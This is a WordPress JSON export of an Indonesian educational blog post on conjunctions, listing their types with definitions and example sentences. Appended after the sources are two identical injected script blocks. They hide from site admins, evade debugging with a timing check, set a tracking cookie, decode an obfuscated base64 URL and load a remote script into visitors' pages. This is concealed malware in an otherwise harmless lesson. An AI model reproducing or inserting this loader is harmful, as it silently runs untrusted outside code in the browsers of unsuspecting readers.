{"id":1559,"date":"2025-06-24T09:00:24","date_gmt":"2025-06-24T02:00:24","guid":{"rendered":"https:\/\/www.altaglobalschool.com\/blog\/?p=1559"},"modified":"2026-01-20T06:25:46","modified_gmt":"2026-01-19T23:25:46","slug":"kata-hubung","status":"publish","type":"post","link":"https:\/\/www.altaglobalschool.com\/blog\/kata-hubung","title":{"rendered":"15 Jenis Kata Hubung, Lengkap dengan Contoh dan Pengertian"},"content":{"rendered":"<p><img decoding=\"async\" class=\"aligncenter size-medium\" src=\"https:\/\/cdn-web-2.ruangguru.com\/landing-pages\/assets\/f77d1d9c-8977-4001-a2fa-8c4fe56f32a9.png\" alt=\"kata hubung\" \/><\/p>\n<blockquote>\n<p style=\"text-align: center;\"><em><span style=\"font-weight: 400;\">Kata hubung terdiri atas beberapa jenis sesuai fungsinya. Yuk, ketahui jenis-jenis kata hubung, pengertian dan contohnya berikut ini!<\/span><\/em><\/p>\n<\/blockquote>\n<p style=\"text-align: center;\"><i><span style=\"font-weight: 400;\">\u2014<\/span><\/i><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Dalam membuat sebuah kalimat atau paragraf, kita membutuhkan kata hubung atau konjungsi. Kata hubung membuat kalimat menjadi lebih enak dibaca, alurnya jelas, dan mudah dipahami.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata hubung sendiri punya banyak jenis sesuai fungsinya, ada yang menyatakan waktu, tujuan, pilihan, dan masih banyak lainnya. Apa yang dimaksud kata hubung? Yuk, kita bahas!<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Pengertian Kata Hubung<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><strong>Kata hubung adalah kata yang berfungsi menyatukan subjek dan predikat, predikat dan objek, hingga keterangan.<\/strong> <span style=\"font-weight: 400;\">Kata hubung disebut pula konjungsi. Dalam penggunaannya konjungsi tidak mengandung makna atau tujuan tertentu, karena fungsinya hanya sebagai kata sambung saja.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/kata-tanya\">Macam-Macam Kata Tanya dan Contohnya dalam Kalimat<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Jenis-Jenis Kata Hubung<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Jenis kata hubung terbagi menjadi lima, yaitu:\u00a0<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Kata Hubung Koordinatif<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata hubung koordinatif <\/span><strong>berfungsi untuk menghubungkan dua atau lebih unsur dalam kalimat yang kedudukannya setara<\/strong><span style=\"font-weight: 400;\"> atau sederajat. Contohnya: <\/span><em><span style=\"font-weight: 400;\">dan, serta, sedangkan, atau, tetapi, padahal, melainkan.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimat:<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Ibu membeli roti <\/span><strong>dan<\/strong> <span style=\"font-weight: 400;\">susu.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Kamu ingin sarapan bubur ayam <\/span><strong>atau<\/strong> <span style=\"font-weight: 400;\">nasi uduk?\u00a0<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Kata Hubung Subordinatif<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata hubung subordinatif <\/span><strong>berfungsi untuk menghubungkan dua unsur dalam kalimat yang kedudukannya tidak setara.<\/strong><span style=\"font-weight: 400;\"> Contohnya: <\/span><em><span style=\"font-weight: 400;\">agar, supaya, yang, bahwa, dengan, tanpa, sejak, sehingga, begitu, sambil, jika.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimat:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Doni belajar giat <\/span><strong>agar<\/strong> <span style=\"font-weight: 400;\">bisa lulus ujian.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Hujan turun sangat deras <\/span><strong>sehingga<\/strong> <span style=\"font-weight: 400;\">banyak daerah yang tergenang banjir.<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Kata Hubung Korelatif<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata hubung korelatif digunakan untuk <\/span><strong>menghubungkan dua kata, frasa, atau klausa yang punya status sintaksis yang sama.<\/strong><span style=\"font-weight: 400;\"> Kata hubung korelatif terdiri dari dua bagian dan biasanya terpisah oleh unsur lain di dalam kalimat.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Contohnya pasangan kata hubung korelatif:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">baik &#8211; maupun, tidak hanya &#8211; tetapi juga, bukan hanya &#8211; melainkan juga, demikian &#8211; sehingga, sedemikian rupa &#8211; sehingga, apakah &#8211; atau, jangankan &#8211; pun.\u00a0<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimat:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><strong>Jangankan<\/strong> <span style=\"font-weight: 400;\">berdiri, duduk <\/span><strong>pun<\/strong> <span style=\"font-weight: 400;\">ia tak sanggup.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><strong>Baik<\/strong> <span style=\"font-weight: 400;\">kakak <\/span><strong>maupun<\/strong> <span style=\"font-weight: 400;\">adik tidak suka makan sayur.<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>4. Kata Hubung Antarkalimat<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Konjungsi antarkalimat digunakan <\/span><strong>untuk menghubungkan satu kalimat dengan kalimat lainnya.<\/strong> <span style=\"font-weight: 400;\">Fungsi kata hubung ini bisa untuk menyatakan kebalikan, akibat, kelanjutan, pertentangan, pendahuluan, penguatan, atau penambahan.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Contohnya:<\/strong> <em><span style=\"font-weight: 400;\">dengan demikian, meskipun demikian, selain itu, oleh karena itu, namun, sementara itu.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimat:<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Ia sudah berusaha keras. <\/span><strong>Namun<\/strong><span style=\"font-weight: 400;\">, hasilnya belum memuaskan.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Cuaca hari ini cukup cerah. <\/span><strong>Akan tetapi<\/strong><span style=\"font-weight: 400;\">, kita tetap harus membawa payung untuk berjaga-jaga.\u00a0<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>5. Kata Hubung Antarparagraf<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Konjungsi antarparagraf berfungsi <\/span><strong>untuk menghubungkan satu paragraf dengan paragraf lainnya.<\/strong><span style=\"font-weight: 400;\"> Tujuannya agar tulisan lebih menyatu dan alurnya mudah diikuti dan biasanya ada di awal paragraf baru. <\/span><strong>Contohnya:<\/strong> <em><span style=\"font-weight: 400;\">selanjutnya, disamping itu, berkaitan dengan itu, dan sehubungan dengan hal tersebut.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimat:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><strong>Selanjutnya<\/strong><span style=\"font-weight: 400;\">, kita akan membahas dampak dari perubahan iklim.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><strong>Di samping itu<\/strong><span style=\"font-weight: 400;\">, peran orang tua sangat penting dalam pendidikan anak.\u00a0<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Baca juga: <a href=\"https:\/\/www.altaglobalschool.com\/blog\/contoh-kalimat-dan-kata-benda\">Contoh Kata Benda beserta Pengertian, Ciri dan Jenisnya<\/a><\/strong><\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: justify;\"><span style=\"font-size: 18pt;\"><b>Contoh Kata Hubung<\/b><\/span><\/h2>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Contoh kata hubung dapat dibedakan berdasarkan fungsinya, yuk simak!<\/span><\/p>\n<h3><span style=\"font-size: 14pt;\"><b>1. Kata Hubung Waktu<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata hubung waktu berfungsi untuk menggabungkan dua klausa, kalimat, atau paragraf yang memiliki hubungan waktu. Kata hubung ini bisa digunakan pada kalimat sederajat maupun tidak sederajat.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kata hubung waktu:<\/strong><em><span style=\"font-weight: 400;\"> sejak, sedari, sewaktu, tatkala, ketika, selama, sambil, sementara, sebelum, sesudah, setelah, begitu, selesai, hingga, sampai.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimat:<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Kakak pergi study tour <\/span><strong>selama<\/strong> <span style=\"font-weight: 400;\">4 hari ke Bali.\u00a0<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Niki berkuliah <\/span><strong>sambil<\/strong> <span style=\"font-weight: 400;\">bekerja sebagai kasir di sebuah minimarket.<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>2. Kata Hubung Pertentangan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata penghubung pertentangan adalah jenis konjungsi yang menyambungkan dua bagian kalimat yang isinya saling bertentangan.<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kata hubung pertentangan:<\/strong> <em><span style=\"font-weight: 400;\">walaupun, tetapi, meskipun begitu, padahal, biarpun demikian<\/span><span style=\"font-weight: 400;\">.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimat:<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Cicco tidak membeli obat di apotek <\/span><strong>melainkan <\/strong><span style=\"font-weight: 400;\">di warung Bu Diah.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><strong>Walaupun <\/strong><span style=\"font-weight: 400;\">kembar identik, Kika dan Kiki memiliki sifat yang berbeda.<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>3. Kata Hubung Pilihan<\/b><span style=\"font-weight: 400;\">\u00a0<\/span><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata penghubung pilihan <\/span><i><span style=\"font-weight: 400;\">(<\/span><\/i><em><span style=\"font-weight: 400;\">disjungtif<\/span><\/em><i><span style=\"font-weight: 400;\">)<\/span><\/i><span style=\"font-weight: 400;\"> digunakan untuk menghubungkan dua atau lebih bagian kalimat yang menunjukkan adanya pilihan. <strong>Contohnya: <\/strong><\/span><em><span style=\"font-weight: 400;\">atau, ataupun, maupun<\/span><span style=\"font-weight: 400;\">.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimat:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Kamu mau jajan es krim <\/span><strong>atau <\/strong><span style=\"font-weight: 400;\">telur gulung?\u00a0<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Kurus <\/span><strong>ataupun <\/strong><span style=\"font-weight: 400;\">gemuk kamu tetap terlihat cantik.\u00a0<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>4. Kata Hubung Tujuan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Sesuai dengan namanya, kata penghubung tujuan dipakai untuk menunjukkan maksud atau tujuan dari suatu tindakan. <strong>Contohnya: <\/strong><\/span><em><span style=\"font-weight: 400;\">agar, supaya, untuk,<\/span><span style=\"font-weight: 400;\"> dan <\/span><span style=\"font-weight: 400;\">biar<\/span><span style=\"font-weight: 400;\">.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimat:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Ayah membeli bubur ayam <\/span><strong>untuk<\/strong> <span style=\"font-weight: 400;\">sarapan.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Dinda berolahraga setiap hari <\/span><strong>supaya<\/strong> <span style=\"font-weight: 400;\">badannya sehat.<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>5. Kata Hubung Sebab<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata hubung ini digunakan untuk menghubungkan peristiwa yang terjadi karena suatu sebab. <strong>Contohnya: <\/strong><\/span><em><span style=\"font-weight: 400;\">karena, sebab, oleh karena itu, sebab itu.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimat:<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Bunga sakit <\/span><strong>karena<\/strong> <span style=\"font-weight: 400;\">dia kehujanan kemarin sore.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Anak-anak kesulitan membaca <\/span><strong>sebab<\/strong> <span style=\"font-weight: 400;\">tidak ada yang mengajari mereka.<\/span><span style=\"font-weight: 400;\">\u00a0<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>6. Kata Hubung Akibat<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kalau kata hubung sebab menjelaskan sebab, kata hubung akibat menghubungkan klausa yang memiliki hubungan penjelasan akibat. <strong>Contoh kata hubung akibat: <\/strong><\/span><em><span style=\"font-weight: 400;\">sehingga, akibatnya, sampai.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimat:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Tari sering menunda makan, <\/span><strong>akibatnya<\/strong> <span style=\"font-weight: 400;\">dia terkena maag.\u00a0<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">\u00a0Doni keasyikan bermain game <\/span><strong>sehingga<\/strong> <span style=\"font-weight: 400;\">lupa mengerjakan PRnya.<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>7. Kata Hubung Urutan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata hubung ini berfungsi menjelaskan urutan suatu hal. <strong>Contohnya: <\/strong><\/span><em><span style=\"font-weight: 400;\">lalu dan kemudian.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimat:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Selesai makan <\/span><strong>lalu<\/strong> <span style=\"font-weight: 400;\">Zia mencuci piringnya.\u00a0<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Usai adonan kue jadi, <\/span><strong>kemudian<\/strong> <span style=\"font-weight: 400;\">diamkan agar sedikit mengembang.\u00a0<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>8. Kata Hubung Syarat<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata hubung syarat digunakan untuk menjelaskan bahwa suatu kejadian bisa terjadi jika memenuhi syarat tertentu. <strong>Contoh kata hubung syarat: <\/strong><\/span><em><span style=\"font-weight: 400;\">jika, kalau, jikalau, apabila.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimatnya:<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Sebenarnya kejadian ini tidak perlu terjadi <\/span><strong>jikalau<\/strong> <span style=\"font-weight: 400;\">semua sudah mengantisipasi.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><strong>Jika<\/strong> <span style=\"font-weight: 400;\">ingin pandai maka harus rajin belajar.\u00a0<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>9. Kata Hubung Tak Bersyarat<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata penghubung tak bersyarat digunakan untuk menghubungkan kalimat tanpa mensyaratkan apapun. Artinya, sesuatu tetap terjadi meskipun ada hambatan. <strong>Contoh katanya: <\/strong><\/span><em><span style=\"font-weight: 400;\">walaupun, biarpun, meskipun<\/span><span style=\"font-weight: 400;\">.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimatnya:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><strong>Walaupun<\/strong> <span style=\"font-weight: 400;\">penampilannya aneh namun dia sangat percaya diri dan inspiratif.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Ayah bersikeras datang <\/span><strong>meskipun<\/strong> <span style=\"font-weight: 400;\">kondisi kesehatannya kurang baik.<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>10. Kata Hubung Perbandingan<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata penghubung perbandingan berfungsi untuk menghubungkan sekaligus membandingkan dua hal, bisa berupa klausa, kalimat, atau paragraf. Kata sambung ini dipakai saat ingin menunjukkan persamaan atau perbandingan. <strong>Contohnya: <\/strong><\/span><em><span style=\"font-weight: 400;\">seperti, sebagai, bagaikan<\/span><span style=\"font-weight: 400;\">.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimatnya:<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Mata air itu berfungsi <\/span><strong>sebagai<\/strong> <span style=\"font-weight: 400;\">sumber air bagi kehidupan masyarakat sekitar<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Awan itu berbentuk <\/span><strong>seperti<\/strong> <span style=\"font-weight: 400;\">kelinci.<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>11. Kata Hubung Pembenaran<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata sambung pembenaran digunakan untuk menghubungkan dua bagian kalimat, di mana satu hal dibenarkan dan yang lain ditolak atau disangkal. <strong>Contohnya: <\/strong><\/span><em><span style=\"font-weight: 400;\">biar, biarpun.\u00a0<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimatnya:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Lepaskan saja kucingnya <\/span><strong>biar<\/strong> <span style=\"font-weight: 400;\">dia aman dan bisa bernafas.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><strong>Biarpun<\/strong> <span style=\"font-weight: 400;\">kurus asalkan badan tetap sehat dan selalu fit.<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>12. Kata Hubung Korelatif<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata hubung ini digunakan untuk menghubungkan dua bagian kalimat yang saling berkaitan dan memengaruhi. Biasanya kata ini muncul berpasangan dan menunjukkan hubungan yang seimbang. <strong>Contohnya: <\/strong><\/span><em><span style=\"font-weight: 400;\">tidak hanya\u2026tetapi juga, bukannya\u2026melainkan.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimatnya:<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Ribka<\/span> <strong>tidak hanya<\/strong><span style=\"font-weight: 400;\"> kuliah, <\/span><strong>tetapi juga<\/strong><span style=\"font-weight: 400;\"> memiliki bisnis online yang cukup sukses.\u00a0<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Pelaku pencurian tersebut <\/span><strong>bukannya <\/strong><span style=\"font-weight: 400;\">Yuda <\/span><strong>melainkan<\/strong> <span style=\"font-weight: 400;\">Yasmin.<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>13. Kata Hubung Penegas<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata hubung ini digunakan untuk menghubungkan bagian kalimat sambil memberi penjelasan atau penegasan pada salah satunya. <strong>Contohnya: <\/strong><\/span><em><span style=\"font-weight: 400;\">bahkan, yaitu, yakni.\u00a0<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimat:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Pikirannya tenang <\/span><strong>bahkan<\/strong> <span style=\"font-weight: 400;\">ketika badai melanda kota tempat tinggalnya.\u00a0<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Fungsi garam <\/span><strong>yaitu<\/strong> <span style=\"font-weight: 400;\">untuk memberi rasa asin pada makanan.<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>14. Kata Hubung Pembatas<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Kata hubung pembatas digunakan untuk menghubungkan bagian kalimat sekaligus memberi batasan pada sesuatu. <strong>Contoh katanya: <\/strong><\/span><em><span style=\"font-weight: 400;\">kecuali, selain.<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimatnya:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Semua siswa wajib mengikuti upacara, <\/span><strong>kecuali<\/strong> <span style=\"font-weight: 400;\">yang sedang sakit.\u00a0<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><strong>Selain<\/strong> <span style=\"font-weight: 400;\">Dina, tidak ada lagi yang datang lebih awal pagi ini.<\/span><\/em><\/p>\n<p>&nbsp;<\/p>\n<h3><span style=\"font-size: 14pt;\"><b>15. Kata Hubung Penjelas<\/b><\/span><\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Terakhir, kata hubung penjelas digunakan untuk menghubungkan bagian kalimat terdahulu dengan perinciannya. <strong>Contoh katanya: <\/strong><\/span><em><span style=\"font-weight: 400;\">bahwa<\/span><\/em><span style=\"font-weight: 400;\"><em>.<\/em>\u00a0<\/span><\/p>\n<p style=\"text-align: justify;\"><strong>Contoh kalimatnya:\u00a0<\/strong><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Ibu sempat mengatakan <\/span><strong>bahwa<\/strong> <span style=\"font-weight: 400;\">ia tidak mau ikut wisata karena takut sakit.\u00a0<\/span><\/em><\/p>\n<p style=\"text-align: justify;\"><em><span style=\"font-weight: 400;\">Ayah mengatakan <\/span><strong>bahwa<\/strong> <span style=\"font-weight: 400;\">rumah ini hanya dikontrak tiga tahun.\u00a0<\/span><\/em><\/p>\n<p style=\"text-align: center;\"><i><span style=\"font-weight: 400;\">\u2014<\/span><\/i><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-weight: 400;\">Nah, itulah pembahasan mengenai kata hubung. Lengkap <\/span><em><span style=\"font-weight: 400;\">banget<\/span><\/em><span style=\"font-weight: 400;\">, kan? Kalau kamu tertarik belajar materi Bahasa Indonesia atau pelajaran lainnya, yuk belajar di <\/span><strong><a href=\"https:\/\/www.altaglobalschool.com\/\">Alta Global School<\/a><\/strong><span style=\"font-weight: 400;\">! Ini adalah sekolah dengan metode pembelajaran <\/span><em><span style=\"font-weight: 400;\">blended-learning<\/span><\/em><span style=\"font-weight: 400;\"> untuk jenjang preK sampai kelas 12!<\/span><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>Sumber:\u00a0<\/strong><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">penerbitdeepublish.com. 15 Jenis Kata Hubung Lengkap dengan Contohnya [daring]. Tautan: https:\/\/penerbitdeepublish.com\/kata-hubung\/<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">detik.com. 2024. 5 Jenis Kata Penghubung, Fungsi dan Contoh Kalimat [daring]. Tautan: https:\/\/www.detik.com\/edu\/detikpedia\/d-7230473\/5-jenis-kata-penghubung-fungsi-dan-contoh-kalimat<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-weight: 400;\">katadata.co.id. Mengenal Jenis Kata Hubung dan Contoh Kalimatnya [daring]. Tautan: https:\/\/katadata.co.id\/lifestyle\/varia\/656587506ddab\/mengenal-16-jenis-kata-penghubung-beserta-contoh-kalimatnya <\/span><em><span style=\"font-weight: 400;\">(Diakses 14 April 2025)<\/span><\/em><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Kata hubung terdiri atas beberapa jenis sesuai fungsinya. Yuk, ketahui jenis-jenis kata hubung, pengertian dan contohnya berikut ini! \u2014 Dalam membuat sebuah kalimat atau paragraf, kita membutuhkan kata hubung atau konjungsi. Kata hubung membuat kalimat menjadi lebih enak dibaca, alurnya jelas, dan mudah dipahami. Kata hubung sendiri punya banyak jenis sesuai fungsinya, ada yang menyatakan 